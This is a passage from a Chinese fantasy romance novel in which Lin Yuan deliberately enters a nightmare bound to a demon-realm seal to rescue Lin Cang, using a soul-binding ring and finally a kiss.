夜风寒凉,林渊从林沧怀中下来,无意中蹭到林沧冰冷的手指,险些打一个寒战。 为了尽可能保持灵力,林沧早已无暇顾及细枝末节,夜风带走了他的温度,青年的手指冷且僵硬,关节处甚至出现了细微的皲裂。 如果不是抱着他飞这么久,林沧绝不会这样狼狈。 林渊心疼地抓住林沧的指尖,拢在掌心,呵出一口气,为他取暖。 温暖又微微湿润的气息扑在指尖,林沧有些恍惚,魔界入口与人间很远,极目而望,只能依稀看到几点渺茫的烟火气。 又一阵冷风袭来,枯叶沙沙作响,树诉怨,山惊起。 哪怕是只是靠近入口,魔界也无时无刻不散发着森森的鬼气。 林渊松开林沧的手掌,仰头向半空中看去。无数足以合抱的锁链密密麻麻地缠绕着一个深不见底的黑洞,将所有黑沉沉的雾气全部锁在了封印里。 “封印还在。”林渊说道。 “嗯。”林沧点了点头,松了一口气的同时,却有些走神。 原本被林渊捂热的手掌迅速变凉,林沧后知后觉地发现,在夜风中飞了太久,他的手指早已冷到了骨髓,林渊只是捂热了他的皮肤,一旦离去,骨髓深处的冷意迅速反扑,而关节处皲裂的疼痛也因为短暂的回温,难以忽略地蔓延开来。 “所以酒老板收到的那封信,的确是在造谣。”林渊皱眉沉吟道,“那个落款的扶风,到底是谁……” “竹白镇隐匿行踪的大妖,不约而同消失的妖族,魔族现世的谣言。”林沧一件一件数着,语气忽然变得很沉,“你说其中会不会有什么关联。” “照我说,莫名其妙被挖去妖核的殷狐,也算是一个疑点。”林渊苦笑一声,说道,“妖族化形不易,殷狐之前实力决计不弱,是谁挖去了他的妖核,那个妖核又被拿去做什么了?” “如果不是你已经跟了我将近一年,”林沧看着林渊,语气平淡得仿佛只是在阐述一个事实,“怀疑的对象,还有你。” 背负灵女的封印,孱弱至极的身体,毒辣的眼光,扑朔迷离的过往,还有那几乎称得上无所不知的能力。 明明林渊才是最大的疑点。 “是么?”林渊弯了弯眼角,露出一抹浅淡的微笑,“没关系,我接受你的怀疑,正如我无条件地信任你。” 莫名其妙的话语,却惹得林沧红了耳根。 只可惜夜色深沉。 “你在这里的等着,我靠近些看看,以防有什么疏漏。”林沧移开眼神,说道。 “好。”林渊颔首,目送林沧逃也似的腾身而起,向那一道道纵横的合抱之粗的锁链飞去。 浓郁的黑雾似乎感受到了突然出现的灵族,空气中隐隐传来凄厉的嘶叫,无数锁链哗哗作响,镇压着躁动的魔气。 林渊仰头望着青年,感觉脖子抬得有些酸麻,伸手揉了揉后颈,然而不过眨眼之间,青年的身影忽然消失不见了。 林渊一愣。 “林沧?”林渊提声问道。 无人回应。 风吹枯叶沙沙的响动在一片死寂中格外明显,林渊紧紧拧起了眉头。 青年此刻灵力枯竭,万一遇到什么危险…… 林渊眼神一冷,运起之前林沧给他传递的灵力,脚尖一踏,向林沧刚刚消失的地方纵身而去。 黑雾感知到新的活人来临,疯狂地撞击着锁链,林渊站在漆黑的入口前,毫不畏惧地望向黑洞,神情冷寂。 不知从何而起的飓风掀起他的衣袂,猎猎作响,林渊环顾一周,忽然伸手,精准地按住了一条疯狂颤动的锁链。 “封印倒是完好……”林渊冷冷地说道,“只是你,有二心。” 灵族献祭,封印魔界。每一条锁链,都来自于一场惨烈的心祭。 而这条锁链的主人,并不是心甘情愿地献祭。 经年累月的镇压魔气,让本就不够坚定的锁链生出了强大的“魇”,无差别吸引着无辜的生灵。林沧的灵力无以为继,没有敌过“魇”强大的吸力。 “魇”者,噩梦也。进入“魇”的人,会看到心底最恐惧的噩梦。 可惜林渊,没有噩梦。 锁链拒绝了他。 林渊按着锁链,等了许久,锁链仍旧没有把他拖入“魇”的意思。 林渊的耐心很快耗尽了。 “让我进去。”林渊手指用力,灵力渗入锁链,发出了刺耳的摩擦声。 “你应该看出来了,虽然没有心脏,但我也是很好的养料。”随着林渊的话语,锁链的摩擦声越来越尖锐。 “只要有思想,就会有噩梦。我也不例外。”林渊说着,锁链疯狂抖动起来。 林渊深深呼吸了一口气,按着锁链,闭上眼睛,开始在脑海中描绘他的噩梦。 他没有噩梦。 但为了林沧,他要编织一个噩梦。 林沧传来的灵力只够维持三天,此刻却因林渊的使用飞速耗尽,不过片刻,林渊的眼角便滚下了两行淋漓的血泪。 必须抓紧时间……一旦灵力枯竭,他会掉进黑洞里的。 他不怕进入魔界,但是林沧还困在“魇”里。 林渊咬紧牙关,大脑飞速运转,疯狂地想象着他的噩梦。 最恐惧的事情…… 最后一丝灵力枯涸,林渊脚下一空,尖锐的锁链摩擦声却陡然岑寂。 他坠入了黑沉沉的“魇”里。 “你为什么不替我去死啊。”青年的声音突兀地响起。 林渊唰地睁开眼睛,映入眼帘的是青年熟悉的脸庞,刀裁墨画的眉目却透着深深的怨气。 “你根本就是自私,却偏偏说什么救赎自己。”青年嗤笑一声,语气中充满恨意,“许下一个救赎自己的愿望,看似感人,实际不过是回到过去,苟且偷生罢了。” 林渊忽然一阵头晕,总感觉自己忘记了什么,但瞬间被青年的话语拉回了注意力。 意识到青年在说什么之后,林渊狠狠打了一个激灵,脸色也变得苍白起来。 “不,不是这样的……”干哑的声音响起,血色模糊了眼睛,林渊眨了眨眼睛,又用力摇摇头,甩掉眼中的血珠,伸手去拽林沧的衣袖。 林沧却猛地把他甩开,满脸嫌弃。 “你根本就不想救赎我,或者说,你唯恐能够救赎我。”林沧冷冷地说道,“灵族心祭唯独不可以使自己获得永生,你是想钻心祭的空子吧,仗着自己的心脏足够强大,在师娘愿望的基础上,许下另一个‘救赎’的愿望……所以,只要救赎没有成功,你就不会死掉,哪怕以这种不人不鬼的样子。” “我……”林渊讷讷地张口,却被林沧迅速打断了。 “我知道你的心思。”林沧冷笑一声,毫不掩饰语气中的厌恶,一字一顿地说道,“因为,我就是你。” 林渊哑口无言。 太突然了。不该是这样的。 青年太过笃定,让他满腔痛楚,却迷茫地连辩驳都不知从何而起。 香灰的味道随风飘来,林渊后知后觉地发现,这里竟是灵界,脚下是师娘死去的废墟,干燥的黑土卷起满天烟尘。 原本不是黑土,只是死的人多了,干涸的血液染黑了原野。 于是林渊的脸色更加苍白了几分。 青年嗤笑一声,不再与他废话,转身,重重跪在了师娘的墓前。< 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“我没有愿啊。”林沧垂下眼帘,衣襟散乱,锋利的匕首抵在平坦洁净的胸口上,匕首的反光刺进林渊的眼睛,林渊头一次感到眼角不断流下的鲜血中混杂了其他的什么清澈透明的东西,冲淡了浓重的血液。 青年把匕首向自己的胸膛切去。 “林沧……!”林渊咳出一口血沫,拼尽全力向林沧扑去,左手中指之上,碧绿的绾魂戒忽然泛起了幽幽的光芒。 眼前的一切忽然变了。 香灰消失了,废墟消失了,师娘的墓碑消失了。 但是林沧还在。 好在林沧还在。 林渊大口大口地喘息,血腥气在唇齿间漫延。 四周是黑沉沉的雾霭,他紧紧地拥抱着林沧,站在雾霭的中心。 林渊脑袋一片空白,愣愣地一言不发,过了许久,才缓慢地转动眼珠,看向了左手中指的绾魂戒。 “多亏你在。”林渊哑声说道,伸手抹了一把满脸的湿润。 鲜血混合着眼泪,又腥又咸。 林渊终于想起来了,他在“魇”里。 刚刚陷入了自己编制的噩梦,在失忆的情况下,单凭自己的意志,根本无法出来。 多亏了绾魂戒,与他心意相通,觉察到不对,将他拉回了现实世界。 他赌对了。 林渊重重呼出一口气,将那些乱七八糟的场面甩出脑海。 那个噩梦,是不可能实现的。 林渊紧紧地抱着青年。 因为他足够了解自己。 梦里那个青年,不是林沧,不是他自己。 而是一个顶着林沧的脸的…… 陌生人。 “好不容易说服自己做这个噩梦,清醒之后,倒显得可笑了。”过了许久,林渊才松开拥抱着的林沧,露出一个略显疲惫的笑容,低语道,“那你……又困在什么样的梦里呢。” 林渊无从知晓林沧的噩梦,但从林沧的神情中,足以窥得青年的痛苦。 空洞的眼神没有落点,麻木、苦涩、怅然,还带着一丝难以察觉的宽慰和释怀。 林渊皱着眉头,掰着林沧的下巴看了许久,短暂地陷入了沉思。 他之前……有这么复杂的情感吗。 有点像被抛弃的小狗。 不确定,再看看。 玩笑归玩笑,但林渊是绝不会放任林沧陷在长久的梦魇中的,只思考了一瞬,便不再纠结,一把抓住林沧的肩头,用力摇晃起来。 “林沧,林沧,醒醒。” 林渊在林沧耳边,用最大的声音唤道。 鲜血从颊边滑下,滚落在林沧肩头的衣衫。 不能再耽搁了,再这样下去,他就要再次失明失聪了。 焦急的情绪升腾起来,林渊伸手重重拍了拍林沧的侧脸。 青年毫无反应。 林渊长长地叹了口气,目光移到了仍在散发着微光的绾魂戒。 只能靠它了。 林渊下定决心,抬起手指,轻轻地摘下了碧色的指环。 摘下绾魂戒的刹那,林渊的模样迅速改变。 鸦青色的温润眼眸变成了纯粹的毫无杂质的黑,眉峰英挺,眼角锋利,下颌勾勒出清晰的棱角,嘴唇依旧很薄,但不同的唇形平添了一抹森然。 “可别吓到了啊,林沧。”林渊低声笑道,拾起林沧的手指,缓缓地把绾魂戒套上了他的指节。 同样刀裁墨画的眉目,同样清劲如竹的筋骨,只是其中一个看起来比另一个稍稍年长一些。 年长一些的那个正认真地捧着另一个的手,低头把碧色的指环缓缓套上那人的指节。 林渊的确很认真,因为他快看不见了。 熟悉的血雾弥漫在眼前,由于失去了绾魂戒,香灰的味道重新浮现,四周的场景悄然改变,黑土旷野,他仿佛又站在了师娘死去的废墟上。 记忆如潮水般退去。 他即将再次陷入梦魇。 “不可以啊。”林渊把指环完完全全套上了林沧指节,抬头看着林沧浮现出一丝怔然的脸。 “一直困在‘魇’里的话,会很困扰啊。”林渊蹙起眉头,自言自语道。 “那样就没法救他了。”林渊透过满天黑褐色的尘沙,仿佛跨越了时空,看向两眼空洞的林沧,青年的下唇带着一片结痂的血。 “那就……只能这样了吧。”林渊低笑一声,发出一声意味不明的低叹,闭上眼睛,环绕林沧的脖颈,贴上了他的唇。 - 唇齿间传来柔软的触感。 青年的眼神终于有了落点。